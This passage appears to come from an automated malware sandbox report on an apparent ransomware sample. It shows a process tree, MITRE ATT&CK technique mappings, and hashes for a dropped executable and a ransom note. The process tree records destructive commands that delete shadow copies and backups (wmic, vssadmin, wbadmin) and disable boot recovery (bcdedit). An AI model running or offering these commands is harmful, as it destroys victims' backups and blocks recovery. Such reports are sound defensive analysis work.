  PID:1512
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\SysWOW64\cmd /c wmic SHADOWCOPY DELETE /nointeractive
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:680
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic SHADOWCOPY DELETE /nointeractive
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2592
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\SysWOW64\cmd /c wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest
  2⤵
  PID:2904
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\SysWOW64\cmd /c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0
  2⤵
  PID:2284
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\SysWOW64\cmd /c wbadmin DELETE BACKUP -deleteOldest
  2⤵
  PID:2688
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\SysWOW64\cmd /c wbadmin DELETE BACKUP -keepVersions:0
  2⤵
  PID:780
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\SysWOW64\cmd /c vssadmin Delete Shadows /All /Quiet
  2⤵
  PID:1636
- - C:\Windows\SysWOW64\vssadmin.exe
    vssadmin Delete Shadows /All /Quiet
    3⤵
    - Interacts with shadow copies
    PID:1680
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\SysWOW64\cmd /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:1768
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\SysWOW64\cmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  PID:1724
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\SysWOW64\cmd /c wmic SHADOWCOPY DELETE /nointeractive
  2⤵
  PID:2308
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic SHADOWCOPY DELETE /nointeractive
    3⤵
    PID:2072
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\SysWOW64\cmd /c wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest
  2⤵
  PID:2136
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\SysWOW64\cmd /c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0
  2⤵
  PID:1504
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\SysWOW64\cmd /c wbadmin DELETE BACKUP -deleteOldest
  2⤵
  PID:2484
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\SysWOW64\cmd /c wbadmin DELETE BACKUP -keepVersions:0
  2⤵
  PID:1004
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\SysWOW64\cmd /c vssadmin Delete Shadows /All /Quiet
  2⤵
  PID:2512
- - C:\Windows\SysWOW64\vssadmin.exe
    vssadmin Delete Shadows /All /Quiet
    3⤵
    - Interacts with shadow copies
    PID:652
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\SysWOW64\cmd /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:452
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\SysWOW64\cmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  PID:1064

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2080

C:\Windows\system32\taskeng.exe
taskeng.exe {041A5DBC-69AD-4339-BF7A-0E5FBCBA54FC} S-1-5-21-3601492379-692465709-652514833-1000:CALKHSYM\Admin:Interactive:[1]
1⤵
PID:2304
- C:\Users\Admin\AppData\Roaming\6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
  C:\Users\Admin\AppData\Roaming\6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe
  2⤵
  - Executes dropped EXE
  PID:1636

C:\Windows\explorer.exe
"C:\Windows\explorer.exe"
1⤵
PID:1344

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49.exe

Filesize
510KB

MD5
13ccbab51e6ab57c89ad99f3f676c7f3

SHA1
673fc190f8fb4f7c921de900cedb2f213982c416

SHA256
6166c0fe1eb887fa4d0719c4cb4fb5d55dd249fab11ba6fb9a3114a5964b1d49

SHA512
7c2226b18cdd7a3e6cea078960292c4a8b1c19d39fe692f97ca8b21c90ee25a126c2a8ca65c49e222ce3d691b0e73645a21102fb12a65db1da7a4c6bd1dfba46

Download Submit
C:\Users\Admin\HOW_TO_RECOVER_FILES.txt

Filesize
1KB

MD5
f8a0490814225ac6ba2ec064c0e31056

SHA1
90fdd0ab61fe6edfb855a1a26582c26e341a8df6

SHA256
be089a5f36c6b3f87d126eff28913d939a0d32b8deed9a27e5a627b75cdb807c

SHA512
0b4496dd30775a39d3b8de0fb975aaffa3ea9997e63b70610c4c5dc85116dbc3f7c6fa2e918c02fa383017c6b9841061ff60585378565316c66ede7a912ea241

Download Submit